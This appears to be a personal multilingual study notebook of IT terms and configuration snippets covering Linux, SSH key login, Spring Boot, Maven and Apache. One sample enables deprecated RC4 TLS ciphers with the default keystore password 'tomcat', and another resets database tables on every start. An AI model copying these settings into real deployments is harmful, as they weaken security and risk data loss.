5.RX==receive,接收,从开启到现在接收封包的情况,是下行流量。 不断增长 //Linux ifconfig
6.TX==Transmit,发送,从开启到现在发送封包的情况,是上行流量。不断增长 //Linux ifconfig
shell自动化处理_相关知识整理(整理中)20210329_sun0322-CSDN博客 → ■网络通信
7.Sector 扇区 // Linux
文件存储在硬盘上,硬盘的最小存储单位叫做“扇区”(Sector)。
每个扇区储存512字节(相当于0.5KB)。
8.block 块 // Linux
操作系统读取硬盘的时候,不会一个个扇区的读取,这样效率太低,
而是一次性连续读取多个扇区,即一次性读取一个“块”(block)。
这种由多个扇区组成的“块”,是文件存取的最小单位。
“块”的大小,最常见的是4KB,
即连续八个sector组成一个block。
・total 4
“所列出内容的磁盘占用空间总和值。单位为kbytes"
1个文件,至少占用1个块。
1个块的大小是4K
所以显示4
9.リモート n. 远程 remote [rɪˈməʊt]
10.計測 けいそく 测量;计量(器械を使って,ものの量や値をはかること)。 // 処理の時間を計測する。
11.間隔 かんかく // 感覚 かんかく
12.測定 そくてい 测量,测定 // ログ出力量測定
13.ストレス stress 重音,压力 ストレステスト
14.Chrome开发者工具中的performance检测页面性能
Chrome开发者工具中的performance检测页面性能_chrome performance_vanessa_earth的博客-CSDN博客
1.控制按钮。
2.overview。页面性能的高级汇总(FPS:帧率,CPU:CPU占用,NET:网络请求)
3.火焰图。CPU堆叠追踪的可视化(左侧名称是主线程的各种事件,Network:网络请求详细情况)
4.数据统计。以图表的形式汇总数据(summary:统计报表,Bottom-Up:事件时长顺序,Call Tree:事件调用顺序,Event log:事件发生的先后顺序)
颜色表示:HTML 文件为蓝色,脚本为黄色,样式表为紫色,媒体文件为绿色,其他资源为灰色
Network中,可以看到 所有 from中,action的请求!!! 在这里面看,每一个处理的时间
15.screenshot 截图
16.screenshots 屏幕录制 //Chrome开发者工具中的performance检测页面性能 // 不用勾选这个选项
17.shortcut ショットカット 快捷键
18.トレース trace [treɪs] 追踪 // Excel Alt + M + P
19.トレーサビリティ traceability [ˈtreɪsəbɪlɪtɪ] 可跟踪性 // SRD
20.なさそうです。
【否定形与(样态)助动词“そうだ】
雨は降らなそうですね //看这情况雨是下不起来的
今日は定時で帰れなそうだ //看今天这样子不能准点回去了”
ごめん。電車が遅れてる!間に合わなそう //不好意思。电车晚点了!看样子赶不上了”
こんなに蓄えがあったら当分は困らなそうだ //有了这样一笔积蓄的话,看起来暂时也没什么可忧虑的了”
【ありなしに関する場合=「なさそう」】
問題はなさそうだ //似乎没什么问题
21.neural [ˈnjʊərəl] 神经的; 神经系统的;
22.nature [ˈneɪtʃə] 大自然;自然方式;
23.Community S [kəˈmjuːnɪtɪ] n. 社区;社会;群落;伙伴关系;群体,团体
Linux中,Mysql安装_!includedir /etc/mysql/conf.d/_sun0322的博客-CSDN博客
● MySQL Community Server:Community是社区版本,开源免费,但不提供官方技术支持;
● MySQL Enterprise Edition:Enterprise企业版本,需付费,可以试用30天,提供官网技术支持;
● MySQL Cluster:Cluster集群版,开源免费,可将几个MySQL Server封装成一个Server;
24.certificate [səˈtɪfɪkɪt] n. 文凭;执照;证明,证书 v. 发证书给;用证书证明 .cer .cert
25.firewalld
ps -ef | grep firewalld
ps -ax | grep firewalld
deamon 的原因,ps -aux | grep firewalld 看不到 这个进程
26.dir | sls folderOrFileName // powershell // sls Select String
27.SSL
服务器端部署了SSL证书,浏览器端才会显示HTTPS,HTTPS=HTTP+SSL。
・CA是数字证书管理机构
・CA签发SSL证书
・SSL证书是数字证书的一种 (certificate)
・https是SSL证书的一种表现形式。
使用JDK自带工具keytool生成ssl证书_seeker的博客-CSDN博客_keytool生成证书
28.Bash
Bash,Unix shell的一种,在1987年由布莱恩·福克斯为了GNU计划而编写。
1989年发布第一个正式版本,原先是计划用在GNU操作系统上,
但能运行于大多数类Unix系统的操作系统之上,
包括Linux与Mac OS X v10.4都将它作为默认shell。
Bash是Bourne shell的后继兼容版本与开放源代码版本,
它的名称来自Bourne shell(sh)的一个双关语(Bourne again / born again):
Bourne-Again SHell。
---
29.guard [ɡɑːd ] 卫兵,警卫员,看守
30.Thumbs.db
Thumbs.db是一个用于Microsoft Windows XP或mac os x缓存Windows Explorer的缩略图的文件。
Thumbs.db保存在每一个包含图片或照片的目录中。
Thumbs.db文件可缓存图像文件的格式包括:jpeg,bmp,gif,tif,pdf和htm。
----
31.GNU/LInux
32.achieved [əˈtʃiːvd] 完成,成功
33.initialization-mode: always // Spring boot // mysql
// ↑ 效果: 每次加载此yml文件 执行之前,会清空所有表中的内容
34.initialize-schema: never // Spring boot // mysql
通过上面34,33的设定。
每次都会 ,【清空数据库表的内容】,但是【不会重新创建表】。
spring:
quartz:
job-store-type: jdbc #数据库方式
jdbc:
initialize-schema: never #不初始化表结构
35.spring-boot db
Springboot(二十)启动时数据库初始化spring.datasource/spring.jpa_徐海兴的专栏-CSDN博客
spring:
datasource:
username: xxx
password: xxx
url: jdbc:mysql://192.168.94.151:3306/mytest?useUnicode=true&characterEncoding=utf8&characterSetResults=utf8
driver-class-name: com.mysql.jdbc.Driver
platform: mysql
#启动时需要初始化的建表语句
schema: classpath:schema-mysql.sql
#初始化的数据
data: classpath:data-mysql.sql
# Initialize the datasource with available DDL and DML scripts.
initialization-mode: always
continue-on-error: false
#data-password:
#data-username:
#schema-password:
#schema-username:
sql-script-encoding: utf-8
separator: ;
36.即時 そくじ 即刻,马上,当时,立即,立刻。(すぐその時。即刻。)
37.クロップ 庄稼;谷物;叶尖饰;顶花饰;切头;切尾 // 画框
38.variable [ˈværiəbəl] 变量 // show variables like '%secure%' // mysql 执行 sql文件 权限目录
n. 可变的事物,可变的量 adj. 可变的,不定的;亮度变化的
39.slave n. 奴隶;完全被控制的人 // Jenkins中 ①sleave 节点 ②'ssh-slaves'
40. RAS // ssh-keygen(linux 命令) // private key(私钥) , public key (公钥)
41. .ssh/
42. scp id_rsa.pub user001@serverName:/home/user001/.ssh/authorized_keys
scp id_rsa.pub user001@serverName:/home/user001/.ssh/authorized_keys
(命名时,authorized_keys2 也可以。)
配置完之后
ssh user001@serverName // 不必再输入密码了
■为什么不需要密码了
ServerA 无密码 访问 ServerB
■首先 (在ServerA上) ssh-keygen -t rsa 命令生成了一个密钥(私钥)和一个公钥,
(而且密钥可以设置自己的密码,)
可以把密钥理解成一把钥匙, 公钥理解成这把钥匙对应的锁头,
把锁头(公钥)放到想要控制的serverB上, 锁住serverB, 只有拥有钥匙(密钥)的人, 才能打开锁头, 进入serverB并控制,
而对于拥有这把钥匙的人, 必需得知道钥匙本身的密码,才能使用这把钥匙 (除非这把钥匙没设置密码), 这样就可以防止钥匙被人配了(私钥被人复制)
(其它serverC,使用ServerA的私钥,同样可以访问ServerB)
===
■最后, 在本地用ssh命令的 -i 参数指定本地密钥, 并登录:
ssh -i /root/.ssh/id_rsa_192.168.102.12 192.168.102.12
(有多个私钥,或者私钥没有保存在 ./ssh下面时,需要指定私钥的位置)
===
■要控制的serverB的目录
用户目录下面
./ssh
└authorized_keys // 允许访问的Server的公钥信息,存放在这里 (比如,存放ServiceA的公钥信息)
└konw_hosts // serverB,访问过的其它的server的信息
■非对称加密
SSH密钥登录使用非对称加密,
用户通过自己的密钥登录,
(注意:私钥必须自己保存,不能泄漏,公钥则是公开,可以对外发送保存。)
公钥和私钥是一对一的关系:只有对应的私钥才能解密对应公钥加密的数据。
■命令
ssh-keygen -t rsa
(windows系统中,也有这个命令)
====
-t: (type) 指定密钥的加密算法(一般 ed25519 , rsa),省略默认使用RSA。ssh-keygen -t rsa
-b: (bits) 指定密钥的二进制位数,数值越大加密解密的开销越大,同时密钥的安全程度越高,一般设置 1024 或者 2048 ssh-keygen -b 1024
-C: (comment) 指定密钥文件的注释,格式username@host: ssh-keygen -t rsa -b 2048 -C xxx1@email 生成
====
43.ssh-keygen [-q] [-b bits] [-C comment] [-f output_keyfile] [-m format]
[-t dsa | ecdsa | ecdsa-sk | ed25519 | ed25519-sk | rsa] [-N new_passphrase] [-O option] [-w provider]
44blogs 博客园
45.centOS (Community Enterprise Operating System,中文意思是社区企业操作系统)是Linux发行版之一
46.export [ˈɛkspɔːt] n. 输出,出口;出口商品 v. 输出,出口;传播 // Linux Bash 中,定义变量
set 用来显示本地变量
env 用来显示环境变量
export 用来显示和设置环境变量
※ windows 中的bat,使用【set】来设置变量
47.Linux中,公钥与私钥的内容
--
48.Windows中,公钥
A(例子中是本地电脑)通过ssh首次连接到B(例子中是Linux的虚拟机),B会将公钥1(host key)传递给A,
A将公钥1存入(登录用户目录下的.ssh文件夹\)known_hosts文件中,
===
以后A再连接B时,B依然会传递给A一个公钥2,
OpenSSH会核对公钥,通过对比公钥1与公钥2 是否相同来进行简单的验证,
如果公钥不同,OpenSSH会发出警告, 避免你受到DNS Hijack之类的攻击。
49.内容 (ecdsa) IP
50.RSAAuthentication、PubkeyAuthentication
cat /etc/ssh/sshd_config
PAM认证
设置ssh白名单登陆
vim /etc/pam.d/sshd
auth required pam_listfile.so item=user sense=allow file=/etc/sshusers onerr=fail
把需要登录的账号添加到 /etc/sshusers文件中
公钥私钥认证
RSAAuthentication、PubkeyAuthentication
密码认证
PasswordAuthentication
LDAP进行统一认证
■2021/5/1以降整理
01.先頭文字 せんとうもじ // 頭文字 かしらもじ
02.tableau 英 [ˈtæbləʊ] n. 生动的场面,戏剧性局面 // 可以形容【组织架构】
03.abort [əˈbɔːt] n. 中止计划 v. (使)中止;(使)流产 // Jenkins 终止当前发布
04.Tortoise [ˈtɔːtəs] // 小乌龟 // SVN ,Git等 视图化的管理工具 TortoiseGit TortoiseSVN
05.Whale [weɪl] 鲸鱼 // Docker
06.embedded [ɪm'bedɪd] adj. 嵌入式的,植入的,内含的 v. 嵌入,植入(embed的过去式和过去分词) // Spring boot tomcat
07.ambiguous [æmˈbɪɡjʊəs] // adj. 含混不清的;引起歧义的 //mysql DBUnit
AmbiguousTableNameException: // DBUnit
08.java -XX
Java HotSpot VM Options
09.heap 堆 ヒープ // java Xmsx4g
10.banner [ˈbænə] n. 旗帜;横幅,标语;旗号 // spring banner mode
. ____ _ __ _ _
/\\ / ___'_ __ _ _(_)_ __ __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
\\/ ___)| |_)| | | | | || (_| | ) ) ) )
' |____| .__|_| |_|_| |_\__, | / / / /
=========|_|==============|___/=/_/_/_/
:: Spring Boot :: (v1.5.9.RELEASE)
2021-05-10 21:52:55.827 INFO 2444 --- [ main] s.c.S.HelloWorldMainApplication : Starting HelloWorldMainApplication on Sun_Xuezhi with PID 2444
SpringBoot之HelloWorld_sun0322-CSDN博客
11.Introduced [ˌɪntrəˈdjuːs] v. 介绍;推行;引进(动物或植物) // Manageable. (Introduced in 1.4.0.)
12.SpringBoot+thymeleaf
<!--Thymeleaf模板依赖-->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<html xmlns:th="http://www.thymeleaf">
SpringBoot+thymeleaf模板_oyc的博客-CSDN博客
13.spring session
使用Spring Session和JDBC DataStore进行会话管理_最佳 Java 编程-CSDN博客
Spring Session-使用JDBC的HttpSession_未名who的博客-CSDN博客
14.OSS オープンソース(OSS)【Open Source Software】
// Maven 外部で作成されたjarファイル。Java処理で利用している
15.-Djava.awt.headless=true
https://docs.oracle/javase/jp/7/technotes/guides/awt/1.4/AWTChanges.html
ヘッドレスを実装した環境を実行するには、java コマンド行に次のプロパティーを指定します。
このプロパティーが設定されず、ディスプレイ、キーボード、およびマウスがサポートされない場合、デフォルトではヘッドレス実装が使用されます。
16.-Dosgi.shell.telnet
https://felix.apache
使用Apache Felix Remote Shell远程管理OSGI - 尚码园
OSGi Open Service Gateway Initiative
17.-Dfelix.fileinstall.poll
使用Apache Felix文件安装配置OSGi服务
使用Apache Felix文件安装配置OSGi服务_dnc8371的博客-CSDN博客
-Dfelix.fileinstall.dir="${project_loc:com.codeaffine.fileinstall.example.config}"
-Dfelix.fileinstall.noInitialDelay=true
-Dfelix.fileinstall.poll=1000
18.-Dcom.sun.enterprise.security.httpsOutboundKeyAlias
===
8.8.15 Java VMの定義項目
如何为HTTPS调用指定出站证书别名? | 经验摘录
调用一个需要客户端证书身份验证的Web服务.
如果指定一个包含单个证书的Java密钥库(服务期望的客户端证书),那么一切正常。
但是,如果使用包含多个证书的密钥库,那么似乎无法指定客户端应该选择哪个证书,
客户端似乎会获取第一个可用证书(按字母顺序).
指定应使用哪个客户端证书别名
System.setProperty("com.sun.enterprise.security.httpsOutboundKeyAlias", "my-client-certificate alias");
===
19.-XX:+UnlockExperimentalVMOptions解锁实验参数,JVM中有些实验参数无法直接赋值,必须先使用此参数才能赋值
20.-XX:+UnlockDiagnosticVMOptions解锁诊断参数
31.-XX:+PrintCommandLineFlags打印命令行参数
例如,使用PrintFlagsFinal命令查看JVM参数
java -XX:+PrintFlagsFinal
32.ブレークポイント break point 断点
33.チューニング tuning 调谐。调整。收听广播或收看电视等
34.dependency 英 [dɪˈpɛndənsɪ] n. 依赖;瘾;附属国,附属地
35.Springboot 版本冲突
https://docs.spring.io/spring-boot/docs/2.0.3.RELEASE/reference/htmlsingle/#appendix-dependency-versions
Spring Boot Reference Guide
spring-batch-core-4.1.2.RELEASE.jar
---
SpringBoot之HelloWorld_sun0322-CSDN博客 (Spring boot :Hello World)
---
Appendix F. Dependency versions
---
The following table provides details of all of the dependency versions that are provided by Spring Boot in its CLI (Command Line Interface), Maven dependency management, and Gradle plugin. When you declare a dependency on one of these artifacts without declaring a version, the version listed in the table is used.
下表提供了SpringBoot在其CLI(命令行界面)、
Maven依赖关系管理和Gradle插件中提供的所有依赖关系版本的详细信息。
当您在没有声明版本的情况下声明对这些工件之一的依赖时,将使用表中列出的版本。
---
Spring Boot Reference Documentation
spring-batch-core-4.2.2.RELEASE.jar
Spring Boot Reference Documentation
spring-batch-core-4.2.4.RELEASE.jar
Spring Boot Reference Documentation
spring-batch-core-4.2.5.RELEASE.jar
Spring Boot Reference Documentation
spring-batch-core-4.2.6.RELEASE.jar
---
Spring Boot Reference Documentation
spring-batch-core-4.3.0.RELEASE.jar
Spring Boot Reference Documentation
spring-batch-core-4.3.2.RELEASE.jar
36.Spring boot :Hello World
SpringBoot之HelloWorld_sun0322-CSDN博客
37.resolvable [rɪˈzɒlvəbəl] adj. 可分解的,溶解性的,可解决的
// [FATAL] Non-resolvable // Maven Pom 写了一个不存在的版本时,出现此关键字
■2021/5/14以降整理
01.カスタマイズ 【英】customize ;按客户要求定制
02.Jaxb
javax.xml.accessExternalSchema
Jaxb是JavaEE的规范.
全称Java Architecture for XML Binding.
・JAXB常用注解讲解(超详细)_wn084的博客-CSDN博客_jaxb
・Jaxb 完全手册 - cnsdhzzl - 博客园
03.Logback // logback-spring.xml
是log4j 框架的作者开发的新一代日志框架,它效率更高、能够适应诸多的运行环境,同时天然支持SLF4J
<logger name="XXXX.XXXX.XXX"/>
// XXXX.XXXX.XXX 代表 package
04.CVE
CVE-2020-5411: Jackson Configuration Allows Code Execution with Unknown “Serialization Gadgets” | Security | VMware Tanzu
CVE -CVE-2020-5411
spring批处理核心易受远程代码执行的攻击。jackson在4.2.3中的升级在默认情况下启用了默认类型,并导致spring批处理可以进行不受信任的反序列化。
如果“Execution Context”被序列化,并且攻击者对“JobRepository”使用的数据存储具有写访问权限,则攻击者将能够执行任意代码
ーーー
05.contributor [kənˈtrɪbjʊtə] n. 投稿者;贡献者;捐助者;促成因素 // github contributors
06.pulse [pʌls] n. 脉搏,脉动;脉冲;意向,心态;活力;节奏,鼓点 // github
07. Issue [ˈɪʃu:] n. 流出;问题;期,号;发行物 // Issues n. 内容,问题
08.frequency] [ˈfriːkwənsɪ] n. 发生率,频繁,频率 // github [code frequency]
09.integrated [ˈɪntɪˌɡreɪtɪd] adj. 综合的;集成的;整合的;完整的;互相协调的
10.maintainer [meɪnˈteɪnə] n. 维修工,维护人员;保持器
11.Replace
VBA // 把空格替换成aaaaaaa
str2 = Replace(str, " ", "aaaaaaa")
BAT // 把aaaaaaa替换成空格
set newTitle4=%newTitle3:aaaaaaa= %
12.M/W ミドルウェア MW 中间件 (tomcat 、 mysql、 Apache)
13.ciphers [ˈsaɪfə] // SSL HTTPS
n. 密码;零;不重要的人;无价值的东西
v. 使用密码,用密码书写,将…译成密码;计算;想出
server.port=443
server.ssl.key-store: .keystore
server.ssl.key-store-password: tomcat
server.ssl.keyStoreType: JKS
server.ssl.keyAlias: myTomcat
server.ssl.ciphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,TLS_ECDHE_RSA_WITH_RC4_128_SHA,TLS_RSA_WITH_AES_128_CBC_SHA256,TLS_RSA_WITH_AES_128_CBC_SHA,TLS_RSA_WITH_AES_256_CBC_SHA256,TLS_RSA_WITH_AES_256_CBC_SHA,SSL_RSA_WITH_RC4_128_SHA
■2021/6/1以降整理
1.isolation [ˌaɪsəˈleɪʃən] n. 隔离;孤立;孤独;绝缘;离析 //mysql show variables like '%isolation%'
2.オンプレミス(英:on-premises) // クラウドじゃない方。
3.パッチ patch /pætʃ/ n.补丁;补片 // バージョンアップ
4.パンチ入力とは、
領収書や品目表、または議事録などの手書きの文章や数字をパソコンなどで入力し、
電子データとして保存する作業のことです。
パンチ入力の概要・作業内容、データ入力との違いとは |【EMEAO!】失敗しない!業者選定ガイド
5.Linux查看版本(内核版本,系统版本)
uname -a
lsb_release -a
cat /etc/redhat-release
查看Linux系统版本 - ywl925 - 博客园
6.FQDN = Hostname + DomainName // 即全限定域名:同时带有主机名和域名的名称
如 主机名是 fanyi
域名是 baidu
FQDN= fanyi.baidu
7.コンチプラン // 不測の事態に備えた計画
コンチプランとは|「分かりそう」で「分からない」でも「分かった」気になれるIT用語辞典
8.embedded 組み込み
9.RHEL // Red Hat Enterprise Linux // Red Hat公司发布的面向企业用户的Linux操作系统。
10.CKPT check point
11.週次会議(しゅうじかいぎ)
12. 踏まえる(ふまえる)
13.見通し // 预测,预料。
14.コンポーネント 组件 component
15.リバースプロキシ(Reverse Proxy)反向代理服务器
16.Active Directory
Active Directoryの認証の仕組み:CodeZine(コードジン)
Active Directoryでユーザー認証などを行えることを、前回までで紹介しました。
ここではどのようにユーザー認証が行われるのかについて、
ワークグループ環境とドメイン環境を比較して紹介したいと思います。
17.Payara(パイアラ)
Payara とは?動作確認や機能、特徴などを解説 | OSSサポートのOpenStandia™【NRI】
18.Spring Batch相关的表(9个)
Spring Batch相关的表_Tong XU的博客-CSDN博客
spring batch 相关的九张表的初始化脚本_weixin_30251829的博客-CSDN博客
19.Proxy(Apache Location)
リバースプロキシの設定
セクションの中で使われた場合は、 最初の引数は省略され、ローカルディレクトリは から取得されます。
20.インプレースアップグレード (in-place upgrade) // mysql 小版本升级
https://kotobank.jp/word // 单词检索
21.chrome 英 [krəʊm] 美 [kroʊm] 铬合金 [ Google Chrome ] [ グーグル クローム ]
22.ピーク 【英】peak;峰值,最大量。 // 性能测试
23.stub(スタブ)
テスト用に用意した、まだ完成していない機能の代わりとなる部品であり
テスト対象から呼び出される部品の代わりとなるやつです。
ちょっと小難しい表現を使うと
スタブ【テスト】 (stub)とは|「分かりそう」で「分からない」でも「分かった」気になれるIT用語辞典
24.JRE中的jar包(java8\jre\lib)
rt.jar:
Java基础类库,也就是Java doc里面看到的所有的类的class文件。
tools.jar:
是系统用来编译一个类的时候用到的,即执行javac的时候用到。
dt.jar:dt.jar
是关于运行环境的类库,主要是swing包。
25.DD (detail design) 詳細設計 =(内部设计 ID Inner Design) ⇒ UT
26.HLD(High-Level Design) 概要設計(基本设计) =(外部设计 ED External Design) ⇒ IT(Integration )
HLD中,基本上不会涉及实现方式相关的内容
V字模型
软件开发中的V字模型与W模型(使开发与侧试分离)_sun0322-CSDN博客_v字开发模型
===
27.显示3天之前的文件(一般有用删除操作)
find /AAA/BBB/CCC/Back -type f -daystart -mtime +2 | xargs ls -l
(查看更新时间为,n日之前的文件(从今日24:00开始计算))
28.storage [ˈstɔːrɪdʒ] n. 贮藏,保管;贮藏库,仓库 // Eclipse Secure Storage // Git密码
29.ProxyPass // Apache 转发(代理:客户端到服务器)
30.ProxyPassReverse // Apache 转发(反向代理:服务器到客户端)
ProxyPass与ProxyPassReverse及ProxyPassMatch这几个都是APACHE的代理指令
例:
ProxyPass /yourWebName http://localhost:8081/yourWebName
ProxyPassReverse /yourWebName http://localhost:8081/yourWebName
31.daemon デーモン
在Shell中,“$“和“&“的作用_sun0322-CSDN博客
让程序后台运行
java -jar SpringBootPorjectName.jar 2>&1 1>/dev/null &
32.立ち合い
(“たちあう”的名词形)会同,在场,列席。(その場にいて物事の成り行きや結果を見守ること。また、その人。)
33.springboot
java -Dloader.path=/lib/projectA/other_lib -jar /lib/projectA/aaa.jar --spring.config.location=/lib/projectA/application.yml --server.port=8081
java -Dloader.path=/lib/projectA/other_lib -jar /lib/projectA/aaa.jar --spring.config.location=/lib/projectA/application.yml -Dserver.port=8081
su - user001 -c 'java -verbose:gc -Xloggc:/AAA/BBB/aaa-gc.log -XX:+PrintGCDetails -XX:+PrintGCDateStamps -jar /XXX/XXX/xxxx.jar --server.port=8081 2>&1 1>dev/null &'
34.usermod -g group1 user001
-g:表示指定用户组的用户主组 选项的值可以是用户组的id,也可以是组名
-G:表示指定用户的用户附加组 选项的值可以是用户组的id,也可以是组名
-u:uid,用户的id(用户标识符)系统默认会从500之后按顺序分配uid,如果不想使用系统分配的,可以通过该选项自定义
-l:修改用户名
35.Jenkins Apache Proxy // 代理 转发 forwards
Reverse proxy - Apache (jenkins.io)
36.individual [ˌɪndɪˈvɪdjʊəl] 个人,个体 个别的;个人的;独特的 // XML
37.snapshot 版本代表不稳定、尚处于开发中的版本,即快照版本 // Maven
38.release 版本代表功能趋于稳定、当前更新停止,可以用于发行的版本 //安定版 // Maven
39.allot [əˈlɒt] v. 分配,划拨
40.默认情况下,shell里面定义的任何变量都是全局变量;
只有,在变量的前面加上关键字local,这个变量就只存在对应的作用域里面,比如function内
41.individual [ˌɪndɪˈvɪdjʊəl] 个人,个体 个别的;个人的;独特的 // XML
42.snapshot 版本代表不稳定、尚处于开发中的版本,即快照版本 // Maven
43.LogFile
org.springframework.boot.logging
44.deprecated [ˈdɛprɪˌkeɪt] vt. 声明不赞成,抨击,反对 // spring boot // logging.file
45.unix时间戳 从1970年1月1日(UTC/GMT的午夜)开始所经过的秒数
在线时间戳转换工具
1625130956
2021-7-1 17:15:56
46.XMLHttpRequest
XMLHttpRequest 是 AJAX 的基础。
所有现代浏览器均支持 XMLHttpRequest 对象(IE5 和 IE6 使用 ActiveXObject)。
XMLHttpRequest 用于在后台与服务器交换数据。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。
xmlhttp.open("GET","test1.txt",true);
xmlhttp.send();
AJAX - 向服务器发送请求
资料 AJAX
------
原始的Ajax请求方式 (XMLHttpRequest)_sun0322-CSDN博客
------
47.javax.servlet.annotation.WebServlet
@WebServerlet(name="/XX/XXX/XXX"", urlPattern={"/XX/XXX/XXX"})
48.response.sendRedirect(url);
49.response.getRequestDispatcher(url).forward();
50.
■2021/7/7以降整理
01.アセスメント assessment 评价,审定,评定,判断 // 脆弱性分析
02.CR(キャリッジリターン)
03.LF(ラインフィード)
04.Windows 在行尾使用 CRLF (carriage return/line feed, 0d 0a)
05.terminators [ˈtɜːmɪˌneɪtə] n. 终结者;终止符
06.alias cd = `cd &&ls`
#把cd和ls命令设置别名到cd,这样cd命令就可以执行cd+ls。
07.runQueue 进程队列 // Linux 性能 // Nmon
08.LoadRunner 负载测试 工具
09.forbidden [fə'bidn] 禁止的; 不准的; // maven 403
10.デグレード (デグレ) degrade ;降级;恶化;退步。
11.リグレッションテスト
私は「リグレッションテスト」(デグレってないか確認するためのテスト)という用語でしか聞いたことないよ
12.ちょくぜん 直前 即将……之前,眼看就要……的时候。
13.性能测试
性能测试主要包含两个特性:时间和资源。
性能测试方法主要包括:性能测试、配置测试、并发测试、负载测试、压力测试、稳定性测试。
性能测试:测试环境和测试目标确定的情况下,测试系统是否达到宣称的能力;
配置测试:系统具有一定的测试基础时,通过修改环境配置,例如服务器参数等,对比之前的测试结果进行优化;
并发测试:在同一时间内对服务器进行数据交互的所有用户数量。模拟多个用户并发使用系统,测试系统是否存在死锁、内存泄漏等问题。
负载测试:逐渐向系统添加压力,观察系统资源消耗情况,知道某一项资源达到极限。一般用于度量系统的性能容量,寻找系统瓶颈为系统调优提供数据;
压力测试:系统承受一定的压力的情况下,测试系统是否会出现错误。系统压力包括CPU、内存、磁盘、网络等方面的压力,施加压力的方法包括利用工具占用系统资源、增加并发量等;
稳定性测试:系统承受一定压力的情况下,运行一段时间,测试系统是否平稳运行;
===========
・吞吐量:
单位时间内对服务器处理请求数量一般是以秒来进行计算 测试的是服务器的承载能力
F= vu*r/T Vu是指模拟用户数量 R 是指请求数量 T 测试时间
・Tps:
每秒处理的事务数
・资源利用率:
cpu 利用率 不能超过70%-80% 内存 80%以内 磁盘 80%以内 带宽
・响应时间:
指应用系统发出请求开始到客户端接受到所有的数据所消耗的时间 :
网络传输时间为 n1+n2+n3+n4、
应用延迟时间为 a1+a2+a3 、
数据库延迟时间、
应用服务器延迟时间
===========
14.estimated // Veracode 進捗 估算的;估计的;估量的 [ˈestɪˌmeɪtɪd]
15.見込(み)が立たない 不可预料。
16.池化技术 线程池 // 数据库连接池
17.centos Community Enterprise Operationg // 基于RHEL // 免费
18.ubuntu // 有桌面操作系统 (Linux)
19.user.home // maven // ${user.home}/.m2/settings.xml // ${M2_HOME}/conf/settings.xml
//mvn -Duser.home
20.vmstat
vmstat命令是最常见的Linux/Unix监控工具,可以展现给定时间间隔的服务器的状态值,包括服务器的CPU使用率,内存使用,虚拟内存交换情况,IO读写情况
vmstart的用法_12864745的技术博客_51CTO博客
r 表示运行队列(就是说多少个进程真的分配到CPU),我测试的服务器目前CPU比较空闲,没什么程序在跑,当这个值超过了CPU数目,就会出现CPU瓶颈了。这个也和top的负载有关系,一般负载超过了3就比较高,超过了5就高,超过了10就不正常了,服务器的状态很危险。top的负载类似每秒的运行队列。如果运行队列过大,表示你的CPU很繁忙,一般会造成CPU使用率很高。
b 表示阻塞的进程,这个不多说,进程阻塞,大家懂的。
swpd 虚拟内存已使用的大小,如果大于0,表示你的机器物理内存不足了,如果不是程序内存泄露的原因,那么你该升级内存了或者把耗内存的任务迁移到其他机器。
free 空闲的物理内存的大小,我的机器内存总共8G,剩余3415M。
buff Linux/Unix系统是用来存储,目录里面有什么内容,权限等的缓存,我本机大概占用300多M
cache cache直接用来记忆我们打开的文件,给文件做缓冲,我本机大概占用300多M(这里是Linux/Unix的聪明之处,把空闲的物理内存的一部分拿来做文件和目录的缓存,是为了提高 程序执行的性能,当程序使用内存时,buffer/cached会很快地被使用。)
si 每秒从磁盘读入虚拟内存的大小,如果这个值大于0,表示物理内存不够用或者内存泄露了,要查找耗内存进程解决掉。我的机器内存充裕,一切正常。
so 每秒虚拟内存写入磁盘的大小,如果这个值大于0,同上。
bi 块设备每秒接收的块数量,这里的块设备是指系统上所有的磁盘和其他块设备,默认块大小是1024byte,我本机上没什么IO操作,所以一直是0,但是我曾在处理拷贝大量数据(2-3T)的机器上看过可以达到140000/s,磁盘写入速度差不多140M每秒
bo 块设备每秒发送的块数量,例如我们读取文件,bo就要大于0。bi和bo一般都要接近0,不然就是IO过于频繁,需要调整。
in 每秒CPU的中断次数,包括时间中断
cs 每秒上下文切换次数,例如我们调用系统函数,就要进行上下文切换,线程的切换,也要进程上下文切换,这个值要越小越好,太大了,要考虑调低线程或者进程的数目,例如在apache和nginx这种web服务器中,我们一般做性能测试时会进行几千并发甚至几万并发的测试,选择web服务器的进程可以由进程或者线程的峰值一直下调,压测,直到cs到一个比较小的值,这个进程和线程数就是比较合适的值了。系统调用也是,每次调用系统函数,我们的代码就会进入内核空间,导致上下文切换,这个是很耗资源,也要尽量避免频繁调用系统函数。上下文切换次数过多表示你的CPU大部分浪费在上下文切换,导致CPU干正经事的时间少了,CPU没有充分利用,是不可取的。
us 用户CPU时间,我曾经在一个做加密解密很频繁的服务器上,可以看到us接近100,r运行队列达到80(机器在做压力测试,性能表现不佳)。
sy 系统CPU时间,如果太高,表示系统调用时间长,例如是IO操作频繁。
id 空闲 CPU时间,一般来说,id + us + sy = 100,一般我认为id是空闲CPU使用率,us是用户CPU使用率,sy是系统CPU使用率。
wt 等待IO CPU时间。
21.-s file 文件大小非0时为真
[ -f "somefile" ] :判断是否是一个文件
循环读取文件
===============
while read line
do
…
done < file
===============
22.ややこしい 麻烦的,复杂的。
23.スペックアップ
スペックは「構成」とか「性能」とか、そんなニュアンスの用語です。
カゴヤ・ジャパンが専用サーバー最上位プランのディスク容量とメモリ容量を増量
24.$@ 是传给脚本的所有参数的列表
25.$! Shell最后运行的后台Process的PID
26.basename /tmp/test/file.txt // file.txt
27.basename /tmp/test/file.txt .txt // file
28.df -Th | tee file4.txt > /dev/null
如果你想隐藏或禁止tee命令在屏幕上打印输出,那么将输出重定向到/dev/null,如下所示:
29.ssh i
•-i:指定身份文件(预设是在使用者的家目录 中的 .ssh/identity)
ssh -i /XX/XX/identity_dsa userName@serverName
扩展
sftp userName@serverName
30.耐障害性 (たい障害性)
31.spring boot集成mybatis,启动报无法创建dataSource问题
Failed to instantiate [org.apache.tomcat.jdbc.pool.DataSource]: Factory method 'dataSource' threw exception;
// 解决方法,查看 application.properties 文件中的内容是否正确
